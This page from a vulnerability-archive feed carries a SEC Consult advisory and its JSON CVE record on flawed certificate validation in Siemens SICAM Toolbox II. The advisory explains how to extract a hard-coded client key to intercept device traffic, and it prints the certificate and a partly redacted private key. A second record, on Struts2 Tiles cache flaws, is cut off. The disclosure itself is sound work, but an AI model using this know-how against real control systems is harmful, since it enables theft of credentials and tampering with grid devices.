Public mailing-list archive and GCVE publication feed for GNA 1988.
- Website
- https://vuln.freearchive.org
- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
556 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0551
Vulnerability from gna-1988 – Published: 2026-11-05 04:54 – Updated: 2026-11-05 04:54
VLAI
EPSS
VEX
Title
SEC Consult SA-20261104-0 :: Improper device certificate validation enables AiTM attacks in Siemens SICAM Toolbox II device communication
Summary
SEC Consult Vulnerability Lab Security Advisory < 20261104-0 >
=======================================================================
title: Improper device certificate validation enables AiTM attacks
product: Siemens SICAM Toolbox II device communication
vulnerable version: <V07.11
fixed version: V07.11
CVE number: CVE-2024-31853, CVE-2024-31854
impact: High
homepage:https://www.siemens.com/en-us/products/sicam/toolbox-ii/
found: 2023-10-16
by: Stefan Viehböck
Constantin Schieber-Knöbl (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Siemens SICAM Toolbox II - Engineering software for SICAM RTUs.
SICAM TOOLBOX II provides all functions for integrated and standard
engineering throughout the entire plant, e.g.: Data collection, data
modeling, configuration, and parameterization. Engineering of process
information for the automation and central control-room systems.
SICAM TOOLBOX II is an ideal tool for plants and systems of all sizes."
Source:https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid/substation-automation/engineering-software-for-sicam-rtus-sicam-toolbox-ii.html
Business recommendation:
------------------------
The vendor provides a patched version V07.11 or higher since July 2025.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Improper device certificate validation enables AiTM attacks (CVE-2024-31853, CVE-2024-31854)
The SICAM Toolbox II connects with supported devices via an HTTPS connection
(TCP port 443, TLS1.2). The Toolbox II software uses a hard-coded client
certificate issued by the same Siemens CA when connecting to a device. Each
device uses a device-specific certificate issued by a Siemens CA
("SICAM1703-Access-V1") as a server certificate. The certificate is
generated/signed during the production process. The common name is the device
serial number.
Due to a vulnerability in the certificate validation during the TLS connection,
an attacker can perform an adversary-in-the-middle-attack.
The Toolbox II software only checks if the certificate was issued by the
trusted CA, but does not check if the certificate is actually issued to the target
device (e.g. by checking the certificate common name against an expected
value). It is even possible to use the hard-coded Toolbox II client certificate
instead of an actual device-specific certificate.
This attack can be used to steal RTU connection passwords, process data or modify
the device configuration.
Proof of concept:
-----------------
1) Improper device certificate validation enables AiTM attacks (CVE-2024-31853, CVE-2024-31854)
An attacker requires the private key of any certificate issued by the
"SICAM1703-Access-V1" CA for successful exploitation.
The most simple way to exploit the vulnerability is to extract the
certificate/private key pair from the Toolbox II software. The P12 container
can be found in the satzp.exe executable (located in /EMII/BIN/). The P12 file
is stored in obfuscated form and de-obfuscated at runtime when establishing new
TLS connections. Furthermore the P12 container is protected by a passphrase which
is stored in obfuscated form as well.
Unlike a regular device-specific certificate, the common name of this
certificate is "ToolboxII" and the extended key usage is "TLS Web Client
Authentication".
Alternatively an attacker could also extract a device-specific certificate
private key from a device (from the VaultIC chip).
Below is the Toolbox II client certificate and the corresponding private key
(redacted).
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2 (0x2)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = DE, ST = Deutschland, L = Berlin, O = Siemens AG, OU = Energy Automation, CN = SICAM1703-Access-V1
Validity
Not Before: Jan 1 01:01:01 2011 GMT
Not After : Dec 31 23:59:59 9999 GMT
Subject: C = DE, ST = Deutschland, L = Berlin, O = Siemens AG, OU = Energy Automation, CN = ToolboxII
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
Modulus:
00:eb:56:a3:40:86:72:42:42:ca:1c:6c:25:41:11:
09:1d:20:ad:79:71:14:94:5c:02:a0:95:a6:ce:26:
1f:30:e2:21:9e:39:30:66:35:0c:df:77:e5:60:0b:
76:89:66:4a:08:f1:27:65:84:fc:d9:f1:b0:a3:b4:
4b:cf:dc:30:da:93:2b:74:e8:ac:3e:c5:5b:00:dd:
a9:03:79:f6:38:c5:1a:26:87:51:dd:1c:ad:72:b6:
c2:97:4c:62:f1:82:aa:86:e7:79:c9:82:b9:53:5b:
8d:40:26:76:1d:b0:03:2f:ce:ec:6e:f2:4a:af:79:
f3:e1:67:8b:c0:52:3b:f1:3e:dc:0d:8f:a4:f8:20:
e5:92:e3:ff:97:2b:34:a8:90:2c:79:42:3a:d0:e8:
ff:0d:d0:98:64:a8:5f:76:5f:e3:d8:bd:3e:85:3d:
49:33:ab:ae:54:5c:2a:2d:70:d0:95:3f:aa:cb:2d:
bf:34:f3:a2:f9:ae:17:a9:97:8f:a3:e2:ad:ad:f2:
ab:55:57:5b:04:56:b8:26:c3:fc:04:81:c9:ea:f5:
83:34:25:4a:22:9e:d5:73:6e:a4:d4:96:5b:65:3f:
cc:9d:97:df:6e:62:49:ae:a4:f2:4a:28:04:65:7d:
3d:7a:af:ba:69:49:75:32:a0:51:f0:93:69:fd:da:
eb:d1
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Alternative Name:
email:support.energy () siemens com
X509v3 Key Usage: critical
Digital Signature, Key Encipherment, Data Encipherment
X509v3 Extended Key Usage: critical
TLS Web Client Authentication
Signature Algorithm: sha256WithRSAEncryption
21:15:68:6e:5c:34:80:a7:95:d5:a9:fa:62:64:6f:16:63:c5:
8f:d6:42:c3:d3:dc:41:b4:98:e1:9c:13:47:d0:c7:c6:6c:66:
a5:27:1e:b2:f1:99:5b:17:cc:63:78:2e:d5:26:84:8a:58:68:
81:ee:f9:4f:0a:46:09:ec:23:77:e2:d6:f9:51:31:80:34:c3:
9f:e5:45:01:e4:e9:5e:2e:94:08:ea:80:7b:1b:25:01:95:32:
5c:6b:5b:30:8c:a5:5c:e4:b2:99:2a:83:22:ee:82:55:6e:d6:
38:57:8e:37:54:53:89:03:8d:1a:26:2c:15:a2:d9:6f:88:c5:
b0:a4:4b:e8:85:43:9d:25:c1:f4:eb:c0:b0:14:d0:7f:32:d7:
d1:54:34:28:7d:a7:59:ff:35:25:9f:33:df:18:8f:1f:74:cd:
c2:51:a0:06:35:d2:4d:c5:c3:b2:3e:b4:b0:05:fb:30:d1:c1:
44:44:84:d6:90:ce:24:b3:2f:a4:4a:8b:d0:04:11:50:22:16:
8e:39:1f:53:1d:e2:73:e0:c7:7b:2a:3a:4d:6b:83:e8:38:33:
a9:10:e8:f0:1d:42:d2:54:67:3b:14:7a:03:48:16:a3:cd:7b:
96:20:7f:de:cf:fc:ee:c6:37:e1:29:10:61:4f:22:de:46:cf:
d1:0d:8f:5a
-----BEGIN CERTIFICATE-----
MIIDyzCCArOgAwIBAgIBAjANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCREUx
FDASBgNVBAgTC0RldXRzY2hsYW5kMQ8wDQYDVQQHEwZCZXJsaW4xEzARBgNVBAoT
ClNpZW1lbnMgQUcxGjAYBgNVBAsTEUVuZXJneSBBdXRvbWF0aW9uMRwwGgYDVQQD
ExNTSUNBTTE3MDMtQWNjZXNzLVYxMCIYDzIwMTEwMTAxMDEwMTAxWhgPOTk5OTEy
MzEyMzU5NTlaMHkxCzAJBgNVBAYTAkRFMRQwEgYDVQQIEwtEZXV0c2NobGFuZDEP
MA0GA1UEBxMGQmVybGluMRMwEQYDVQQKEwpTaWVtZW5zIEFHMRowGAYDVQQLExFF
bmVyZ3kgQXV0b21hdGlvbjESMBAGA1UEAxMJVG9vbGJveElJMIIBIDALBgkqhkiG
9w0BAQEDggEPADCCAQoCggEBAOtWo0CGckJCyhxsJUERCR0grXlxFJRcAqCVps4m
HzDiIZ45MGY1DN935WALdolmSgjxJ2WE/NnxsKO0S8/cMNqTK3TorD7FWwDdqQN5
9jjFGiaHUd0crXK2wpdMYvGCqobnecmCuVNbjUAmdh2wAy/O7G7ySq958+Fni8BS
O/E+3A2PpPgg5ZLj/5crNKiQLHlCOtDo/w3QmGSoX3Zf49i9PoU9STOrrlRcKi1w
0JU/qsstvzTzovmuF6mXj6Pira3yq1VXWwRWuCbD/ASByer1gzQlSiKe1XNupNSW
W2U/zJ2X325iSa6k8kooBGV9PXqvumlJdTKgUfCTaf3a69ECAwEAAaNRME8wJQYD
VR0RBB4wHIEac3VwcG9ydC5lbmVyZ3lAc2llbWVucy5jb20wDgYDVR0PAQEBBAQD
AgSwMBYGA1UdJQEBAQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IBAQAh
FWhuXDSAp5XVqfpiZG8WY8WP1kLD09xBtJjhnBNH0MfGbGalJx6y8ZlbF8xjeC7V
JoSKWGiB7vlPCkYJ7CN34tb5UTGANMOf5UUB5OleLpQI6oB7GyUBlTJca1swjKVc
5LKZKoMi7oJVbtY4V443VFOJA40aJiwVotlviMWwpEvohUOdJcH068CwFNB/MtfR
VDQofadZ/zUlnzPfGI8fdM3CUaAGNdJNxcOyPrSwBfsw0cFERITWkM4ksy+kSovQ
BBFQIhaOOR9THeJz4Md7KjpNa4PoODOpEOjwHULSVGc7FHoDSBajzXuWIH/ez/zu
xjfhKRBhTyLeRs/RDY9a
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDrVqNAhnJCQsoc
bCVBEQkdIK15cRSUXAKglabOJh8w4iGeOTBmNQzfd+VgC3aJZkoI8SdlhPzZ8bCj
tEvP3DDakyt06Kw+xVsA3akDefY4xRomh1HdHK1ytsKXTGLxgqqG53nJgrlTW41A
[...]
L7bTzPviSAvMQwaa5i6vJXCvhfB6q05rYgs4i/1eWQKBgQCkSGpuCF/ZwhQZ3KmD
rM7CoHgy4j2rbItWkIYbq9J5mJh7wpdYknY2pdRAocSLERiiLErFKU+k4QKilts2
oXLGKMem7ZxxvNVhij1g6Ypqm2bKWWkUsbW5X3WwGmYsGzMzeg+BhhxNn39Gq3QO
PkcoHTu5hSDvo1Y+qNakl2+3Hg==
-----END PRIVATE KEY-----
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 7.1.0.0
According to the vendor, all versions before V07.11 are affected.
Vendor contact timeline:
------------------------
2023-10-22: Contacting vendor throughproductcert () siemens com
2023-10-23: Siemens opens case #33071
2024-01-02: Siemens confirmed the vulnerability. Patch planned for Autumn 2024.
2024-04-03: Asking regarding fix timeline. Offering help in reviewing the new cert handling.
2024-04-05: Siemens split the advisory into two parts and plans to release them at end of 2024:
CVE-2024-31853: Addresses the proper check of certificates
CVE-2024-31854: Prevent AiTM attacks via certificate pinning created from first connect.
2024-11-29: Due to other fixes that have to be integrated into the software, there won't be a release
this year. New release scheduled for June 2025.
2025-02-10: Requested update. No response.
2025-02-19: Requested update. No response.
2025-07-04: Siemens confirms that both parts of the advisory are now fixed. A Siemens security
advisory release is planned for 8th July 2025.
2025-07-07: Siemens asks SEC Consult to review the credit section of their advisory so the
correct people involved are present in the advisory.
2025-07-18: The people involved are communicated to Siemens; vendor advisory updated.
2025-07-18: Siemens releases SSA-183963 (https://cert-portal.siemens.com/productcert/html/ssa-183963.html)
2025-2026: Internal delays at SEC Consult, advisory got lost. No information from vendor as well.
2026-10-28: Informing Siemens about scheduled advisory release; no response.
2026-11-03: Attempting to contact vendor via LinkedIn, immediate response from one contact, tickets
were somehow disconnected. Received feedback and confirmation for fixes.
2026-11-04: Coordinated publication of advisory.
Solution:
---------
The vendor has released software updates (V07.11 or higher) for the identified
security issues back in July 2025:
https://support.industry.siemens.com/cs/ww/en/view/109822197/
Further security advisory information from the vendor:
https://cert-portal.siemens.com/productcert/html/ssa-183963.html
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality pe
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Siemens | SICAM Toolbox II device communication |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0551 (this record)
- related CVE-2024-31853
- related CVE-2024-31854
{
"containers": {
"cna": {
"affected": [
{
"product": "SICAM Toolbox II device communication",
"vendor": "Siemens",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20261104-0 \u003e\n=======================================================================\n title: Improper device certificate validation enables AiTM attacks\n product: Siemens SICAM Toolbox II device communication\n vulnerable version: \u003cV07.11\n\u00a0 \u00a0 \u00a0 fixed version: V07.11\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2024-31853, CVE-2024-31854\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n homepage:https://www.siemens.com/en-us/products/sicam/toolbox-ii/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2023-10-16\n by: Stefan Viehb\u00f6ck\n Constantin Schieber-Kn\u00f6bl (Office Vienna)\n SEC Consult Vulnerability Lab\n\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Siemens SICAM Toolbox II - Engineering software for SICAM RTUs.\nSICAM TOOLBOX II provides all functions for integrated and standard\nengineering throughout the entire plant, e.g.: Data collection, data\nmodeling, configuration, and parameterization. Engineering of process\ninformation for the automation and central control-room systems.\nSICAM TOOLBOX II is an ideal tool for plants and systems of all sizes.\"\n\nSource:https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid/substation-automation/engineering-software-for-sicam-rtus-sicam-toolbox-ii.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patched version V07.11 or higher since July 2025.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Improper device certificate validation enables AiTM attacks (CVE-2024-31853, CVE-2024-31854)\nThe SICAM Toolbox II connects with supported devices via an HTTPS connection\n(TCP port 443, TLS1.2). The Toolbox II software uses a hard-coded client\ncertificate issued by the same Siemens CA when connecting to a device. Each\ndevice uses a device-specific certificate issued by a Siemens CA\n(\"SICAM1703-Access-V1\") as a server certificate. The certificate is\ngenerated/signed during the production process. The common name is the device\nserial number.\n\nDue to a vulnerability in the certificate validation during the TLS connection,\nan attacker can perform an adversary-in-the-middle-attack.\n\nThe Toolbox II software only checks if the certificate was issued by the\ntrusted CA, but does not check if the certificate is actually issued to the target\ndevice (e.g. by checking the certificate common name against an expected\nvalue). It is even possible to use the hard-coded Toolbox II client certificate\ninstead of an actual device-specific certificate.\n\nThis attack can be used to steal RTU connection passwords, process data or modify\nthe device configuration.\n\n\nProof of concept:\n-----------------\n1) Improper device certificate validation enables AiTM attacks (CVE-2024-31853, CVE-2024-31854)\nAn attacker requires the private key of any certificate issued by the\n\"SICAM1703-Access-V1\" CA for successful exploitation.\n\nThe most simple way to exploit the vulnerability is to extract the\ncertificate/private key pair from the Toolbox II software. The P12 container\ncan be found in the satzp.exe executable (located in /EMII/BIN/). The P12 file\nis stored in obfuscated form and de-obfuscated at runtime when establishing new\nTLS connections. Furthermore the P12 container is protected by a passphrase which\nis stored in obfuscated form as well.\n\nUnlike a regular device-specific certificate, the common name of this\ncertificate is \"ToolboxII\" and the extended key usage is \"TLS Web Client\nAuthentication\".\n\nAlternatively an attacker could also extract a device-specific certificate\nprivate key from a device (from the VaultIC chip).\n\nBelow is the Toolbox II client certificate and the corresponding private key\n(redacted).\n\nCertificate:\n Data:\n Version: 3 (0x2)\n Serial Number: 2 (0x2)\n Signature Algorithm: sha256WithRSAEncryption\n Issuer: C = DE, ST = Deutschland, L = Berlin, O = Siemens AG, OU = Energy Automation, CN = SICAM1703-Access-V1\n Validity\n Not Before: Jan 1 01:01:01 2011 GMT\n Not After : Dec 31 23:59:59 9999 GMT\n Subject: C = DE, ST = Deutschland, L = Berlin, O = Siemens AG, OU = Energy Automation, CN = ToolboxII\n Subject Public Key Info:\n Public Key Algorithm: rsaEncryption\n RSA Public-Key: (2048 bit)\n Modulus:\n 00:eb:56:a3:40:86:72:42:42:ca:1c:6c:25:41:11:\n 09:1d:20:ad:79:71:14:94:5c:02:a0:95:a6:ce:26:\n 1f:30:e2:21:9e:39:30:66:35:0c:df:77:e5:60:0b:\n 76:89:66:4a:08:f1:27:65:84:fc:d9:f1:b0:a3:b4:\n 4b:cf:dc:30:da:93:2b:74:e8:ac:3e:c5:5b:00:dd:\n a9:03:79:f6:38:c5:1a:26:87:51:dd:1c:ad:72:b6:\n c2:97:4c:62:f1:82:aa:86:e7:79:c9:82:b9:53:5b:\n 8d:40:26:76:1d:b0:03:2f:ce:ec:6e:f2:4a:af:79:\n f3:e1:67:8b:c0:52:3b:f1:3e:dc:0d:8f:a4:f8:20:\n e5:92:e3:ff:97:2b:34:a8:90:2c:79:42:3a:d0:e8:\n ff:0d:d0:98:64:a8:5f:76:5f:e3:d8:bd:3e:85:3d:\n 49:33:ab:ae:54:5c:2a:2d:70:d0:95:3f:aa:cb:2d:\n bf:34:f3:a2:f9:ae:17:a9:97:8f:a3:e2:ad:ad:f2:\n ab:55:57:5b:04:56:b8:26:c3:fc:04:81:c9:ea:f5:\n 83:34:25:4a:22:9e:d5:73:6e:a4:d4:96:5b:65:3f:\n cc:9d:97:df:6e:62:49:ae:a4:f2:4a:28:04:65:7d:\n 3d:7a:af:ba:69:49:75:32:a0:51:f0:93:69:fd:da:\n eb:d1\n Exponent: 65537 (0x10001)\n X509v3 extensions:\n X509v3 Subject Alternative Name:\n email:support.energy () siemens com\n X509v3 Key Usage: critical\n Digital Signature, Key Encipherment, Data Encipherment\n X509v3 Extended Key Usage: critical\n TLS Web Client Authentication\n Signature Algorithm: sha256WithRSAEncryption\n 21:15:68:6e:5c:34:80:a7:95:d5:a9:fa:62:64:6f:16:63:c5:\n 8f:d6:42:c3:d3:dc:41:b4:98:e1:9c:13:47:d0:c7:c6:6c:66:\n a5:27:1e:b2:f1:99:5b:17:cc:63:78:2e:d5:26:84:8a:58:68:\n 81:ee:f9:4f:0a:46:09:ec:23:77:e2:d6:f9:51:31:80:34:c3:\n 9f:e5:45:01:e4:e9:5e:2e:94:08:ea:80:7b:1b:25:01:95:32:\n 5c:6b:5b:30:8c:a5:5c:e4:b2:99:2a:83:22:ee:82:55:6e:d6:\n 38:57:8e:37:54:53:89:03:8d:1a:26:2c:15:a2:d9:6f:88:c5:\n b0:a4:4b:e8:85:43:9d:25:c1:f4:eb:c0:b0:14:d0:7f:32:d7:\n d1:54:34:28:7d:a7:59:ff:35:25:9f:33:df:18:8f:1f:74:cd:\n c2:51:a0:06:35:d2:4d:c5:c3:b2:3e:b4:b0:05:fb:30:d1:c1:\n 44:44:84:d6:90:ce:24:b3:2f:a4:4a:8b:d0:04:11:50:22:16:\n 8e:39:1f:53:1d:e2:73:e0:c7:7b:2a:3a:4d:6b:83:e8:38:33:\n a9:10:e8:f0:1d:42:d2:54:67:3b:14:7a:03:48:16:a3:cd:7b:\n 96:20:7f:de:cf:fc:ee:c6:37:e1:29:10:61:4f:22:de:46:cf:\n d1:0d:8f:5a\n-----BEGIN CERTIFICATE-----\nMIIDyzCCArOgAwIBAgIBAjANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCREUx\nFDASBgNVBAgTC0RldXRzY2hsYW5kMQ8wDQYDVQQHEwZCZXJsaW4xEzARBgNVBAoT\nClNpZW1lbnMgQUcxGjAYBgNVBAsTEUVuZXJneSBBdXRvbWF0aW9uMRwwGgYDVQQD\nExNTSUNBTTE3MDMtQWNjZXNzLVYxMCIYDzIwMTEwMTAxMDEwMTAxWhgPOTk5OTEy\nMzEyMzU5NTlaMHkxCzAJBgNVBAYTAkRFMRQwEgYDVQQIEwtEZXV0c2NobGFuZDEP\nMA0GA1UEBxMGQmVybGluMRMwEQYDVQQKEwpTaWVtZW5zIEFHMRowGAYDVQQLExFF\nbmVyZ3kgQXV0b21hdGlvbjESMBAGA1UEAxMJVG9vbGJveElJMIIBIDALBgkqhkiG\n9w0BAQEDggEPADCCAQoCggEBAOtWo0CGckJCyhxsJUERCR0grXlxFJRcAqCVps4m\nHzDiIZ45MGY1DN935WALdolmSgjxJ2WE/NnxsKO0S8/cMNqTK3TorD7FWwDdqQN5\n9jjFGiaHUd0crXK2wpdMYvGCqobnecmCuVNbjUAmdh2wAy/O7G7ySq958+Fni8BS\nO/E+3A2PpPgg5ZLj/5crNKiQLHlCOtDo/w3QmGSoX3Zf49i9PoU9STOrrlRcKi1w\n0JU/qsstvzTzovmuF6mXj6Pira3yq1VXWwRWuCbD/ASByer1gzQlSiKe1XNupNSW\nW2U/zJ2X325iSa6k8kooBGV9PXqvumlJdTKgUfCTaf3a69ECAwEAAaNRME8wJQYD\nVR0RBB4wHIEac3VwcG9ydC5lbmVyZ3lAc2llbWVucy5jb20wDgYDVR0PAQEBBAQD\nAgSwMBYGA1UdJQEBAQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IBAQAh\nFWhuXDSAp5XVqfpiZG8WY8WP1kLD09xBtJjhnBNH0MfGbGalJx6y8ZlbF8xjeC7V\nJoSKWGiB7vlPCkYJ7CN34tb5UTGANMOf5UUB5OleLpQI6oB7GyUBlTJca1swjKVc\n5LKZKoMi7oJVbtY4V443VFOJA40aJiwVotlviMWwpEvohUOdJcH068CwFNB/MtfR\nVDQofadZ/zUlnzPfGI8fdM3CUaAGNdJNxcOyPrSwBfsw0cFERITWkM4ksy+kSovQ\nBBFQIhaOOR9THeJz4Md7KjpNa4PoODOpEOjwHULSVGc7FHoDSBajzXuWIH/ez/zu\nxjfhKRBhTyLeRs/RDY9a\n-----END CERTIFICATE-----\n\n-----BEGIN PRIVATE KEY-----\nMIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDrVqNAhnJCQsoc\nbCVBEQkdIK15cRSUXAKglabOJh8w4iGeOTBmNQzfd+VgC3aJZkoI8SdlhPzZ8bCj\ntEvP3DDakyt06Kw+xVsA3akDefY4xRomh1HdHK1ytsKXTGLxgqqG53nJgrlTW41A\n[...]\nL7bTzPviSAvMQwaa5i6vJXCvhfB6q05rYgs4i/1eWQKBgQCkSGpuCF/ZwhQZ3KmD\nrM7CoHgy4j2rbItWkIYbq9J5mJh7wpdYknY2pdRAocSLERiiLErFKU+k4QKilts2\noXLGKMem7ZxxvNVhij1g6Ypqm2bKWWkUsbW5X3WwGmYsGzMzeg+BhhxNn39Gq3QO\nPkcoHTu5hSDvo1Y+qNakl2+3Hg==\n-----END PRIVATE KEY-----\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 7.1.0.0\n\nAccording to the vendor, all versions before V07.11 are affected.\n\n\nVendor contact timeline:\n------------------------\n2023-10-22: Contacting vendor throughproductcert () siemens com\n2023-10-23: Siemens opens case #33071\n2024-01-02: Siemens confirmed the vulnerability. Patch planned for Autumn 2024.\n2024-04-03: Asking regarding fix timeline. Offering help in reviewing the new cert handling.\n2024-04-05: Siemens split the advisory into two parts and plans to release them at end of 2024:\n CVE-2024-31853: Addresses the proper check of certificates\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE-2024-31854: Prevent AiTM attacks via certificate pinning created from first connect.\n2024-11-29: Due to other fixes that have to be integrated into the software, there won\u0027t be a release\n this year. New release scheduled for June 2025.\n2025-02-10: Requested update. No response.\n2025-02-19: Requested update. No response.\n2025-07-04: Siemens confirms that both parts of the advisory are now fixed. A Siemens security\n advisory release is planned for 8th July 2025.\n2025-07-07: Siemens asks SEC Consult to review the credit section of their advisory so the\n correct people involved are present in the advisory.\n2025-07-18: The people involved are communicated to Siemens; vendor advisory updated.\n2025-07-18: Siemens releases SSA-183963 (https://cert-portal.siemens.com/productcert/html/ssa-183963.html)\n2025-2026: Internal delays at SEC Consult, advisory got lost. No information from vendor as well.\n2026-10-28: Informing Siemens about scheduled advisory release; no response.\n2026-11-03: Attempting to contact vendor via LinkedIn, immediate response from one contact, tickets\n were somehow disconnected. Received feedback and confirmation for fixes.\n2026-11-04: Coordinated publication of advisory.\n\n\nSolution:\n---------\nThe vendor has released software updates (V07.11 or higher) for the identified\nsecurity issues back in July 2025:\nhttps://support.industry.siemens.com/cs/ww/en/view/109822197/\n\nFurther security advisory information from the vendor:\nhttps://cert-portal.siemens.com/productcert/html/ssa-183963.html\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality pe"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:54:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/12"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/12"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-183963.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://support.industry.siemens.com/cs/ww/en/view/109822197/"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://www.siemens.com/en-us/products/sicam/toolbox-ii/"
},
{
"url": "https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid/substation-automation/engineering-software-for-sicam-rtus-sicam-toolbox-ii.html"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/12"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20261104-0 :: Improper device certificate validation enables AiTM attacks in Siemens SICAM Toolbox II device communication",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2024-31853",
"type": "related"
},
{
"destId": "CVE-2024-31854",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0551",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/12",
"automated": true,
"contentSha256": "b5a0ffb05efc0d283299bd616ebcf732517bf0b6aceed5117906e0bc0acffb49",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/12",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T08:24:01Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0551"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:54:03Z",
"dateUpdated": "2026-11-05T04:54:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0551"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0550
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
Apache Struts2 Tiles Plugin <=7.4.0 and >=6.3.0 Preparer Cache Vulnerabilities
Summary
The Apache Struts2 Tiles plugin version <=7.4.0 (and >=6.3.0) codebase includes a `ViewPreparer` construct, replete
with multiple ViewPreparer factories, that contains several important vulnerabilities including unsynchronised,
unbounded caches. The lack of proper synchronisation means that certain factories will create caches that race,
risking lost cache entries, corrupted internal bucket states under load (this can result in infinite loops that consume
large amounts of compute or time, among other things), expensive duplicate `put(Object, Object)` calls, and similar
issues. The lack of an eviction process means that the cache can grow to arbitrary lengths, consume excessive amounts
of memory, especially since the information system fails to utilise a starting size. These problems are compounded by
the cache being `protected`, directly exposing it across the package and any inheriting classes, as well as attackers
being able to control the key (if, for example, the cache is dynamically managed and attackers can set part of the key
or leveraging the vulnerability discussed in `Apache Struts2 Core Arbitrary Code Execution via OGNL Sandbox Escape` (01
November 2026) to call to create preparers, call to getPreparer, etc.).
Importantly, this file appears to have come from an older, known vulnerable, known buggy version of Tiles that was
placed into the Apache Struts2 codebase, instead of the Tiles 3 version, when the Apaches Tiles project was retired and
